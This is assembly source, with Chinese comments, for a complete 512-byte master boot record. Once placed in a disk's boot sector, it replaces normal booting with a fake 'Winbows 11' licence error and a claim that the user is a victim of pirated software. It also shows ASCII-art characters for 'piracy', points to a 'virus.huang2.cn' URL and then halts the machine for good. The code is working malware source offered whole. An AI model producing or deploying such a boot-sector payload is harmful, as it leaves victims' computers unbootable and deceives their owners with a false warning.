MBR部分的源代碼，編譯過后512字節(jié)一字節(jié)不差

：

section .text

global main

main:

call getip

getip: ;間接獲取IP寄存器的值

pop dx ;保存到dx中

sub dx,3 ;減去call指令的長(zhǎng)度

mov ax,0002h ;設(shè)置屏顯模式

int 10h ;設(shè)了

push cs

pop ds

mov si,ver_msg ;輸出"版本信息"

call printstr

mov cx,33112d

call delay ;延遲0.5s

mov cx,33112d

call delay ;延遲0.5s

mov cx,3h

ERROR_MSG:

mov si,err

push cx

mov cx,22000d

call delay

pop cx

call printstr

loop ERROR_MSG

mov si,error_msg

call printstr

mov si,pirated_msg

call printstr

mov cx,0ah

delay_5s: ;延時(shí)5秒

push cx

mov cx,33144d ;一次0.5秒,循環(huán)10次,剛好5秒

call delay ;不要問我為什么不直接用331120d

pop cx ;什么？rcx是什么東西？這個(gè)世界上存在rcx嗎？

loop delay_5s

mov si,dao

add si,dx

call print_cn

mov si,fix_msg

call printstr

endian: ;結(jié)束

;jmp $會(huì)不會(huì)太耗CPU了？

cli ;屏蔽外部中斷

hlt ;有外部中斷時(shí)再執(zhí)行下一條

;(雖然我已經(jīng)把外部中斷屏蔽掉了)

jmp endian ;如果跑到了這里就再來(lái)一次

;函數(shù)??

;=======================================

delay: ;延遲,單位為15.08微秒,參數(shù)傳遞通過cx（33144約為0.5秒，注意不要溢出）

push ax

delay_test:

in al,61h

and al,00010000b

cmp al,ah

je delay_test

mov ah,al

loop delay_test

pop ax

ret

;===============================

printstr: ;打印字符串，si指向，以0結(jié)尾

add si,dx

push ax ;保存現(xiàn)場(chǎng)

mov ah,0eh ;ah=0eh,顯示字符

pstr_loop:

mov al,ds:[si] ;al=si指向的字符

cmp al,0 ;是結(jié)尾嗎

je pstr_ret ;是就返回主函數(shù)

int 10h ;不是則打印字符

inc si ;si指向下一個(gè)字符

jmp pstr_loop ;并再次打印

pstr_ret:

call br

pop ax

ret

print_cn: ;打印中文字符

push ax

push bx

push cx

mov bh,1

mov ah,0eh ;中斷功能號(hào)，輸出字符

xor di,di ;di用于檢查是否完事

xor cl,cl ;cl用于指示輸出到多少位了

pcn_loop:

mov al,[si] ;將si指向的點(diǎn)陣數(shù)據(jù)移入al

push cx

clean_cl:

cmp cl,8h

jb pcn_line

sub cl,8h

jmp clean_cl

pcn_line:

sar al,cl

pop cx

and al,1h

cmp al,1

mov al,20h

jne display

mov al,'#'

display:

int 10h

int 10h

inc bl

inc cl

cmp cl,32d

jne pcn_dcl

xor cl,cl

call br

pcn_dcl:

cmp bl,8h

jne pcn_dbl

xor bl,bl

inc si

pcn_dbl:

inc di

cmp di,200h ;檢測(cè)是否完事

je pcn_ret ;是就返回主函數(shù)

jmp pcn_loop

pcn_ret:

pop cx

pop bx

pop ax

ret

br:

mov al,0ah

int 10h

mov al,0dh

int 10h

ret

;數(shù)據(jù)段

ver_msg db "Miorcsoft(R) Winbows 11 Ultimate 40H4 (Build 1919810.114514)" ,0

err db "ERROR",07h,0

error_msg db "BOOT ERROR:Cannot verify your system licence." ,0

pirated_msg db "You may be a victim of pirated software.", 0

fix_msg db 'To fix your computer up,please visit "http://virus.huang2.cn"' ,0

;"盜版"

dao:

db 00000010b,00000001b,00010000b,00010000b

db 00000100b,00000001b,00010010b,00111000b

db 10010000b,00111111b,10010010b,00000111b

db 01001000b,00100000b,10010010b,00000000b

db 00100100b,00010010b,10010010b,00000000b

db 00000111b,00000010b,10111110b,00111111b

db 00000100b,00000101b,10000010b,00100010b

db 11000100b,00011000b,10000010b,00100010b

db 00110100b,01100000b,10011110b,00100010b

db 00000000b,00000000b,10010010b,00010100b

db 11111100b,00011111b,10010010b,00010100b

db 00100100b,00010010b,10010010b,00001000b

db 00100100b,00010010b,10010010b,00001000b

db 00100100b,00010010b,01010010b,00010100b

db 11111111b,01111111b,01010010b,00100010b

db 00000000b,00000000b,00110001b,01000001b

db "你看啥呢?"

dw 0aa55h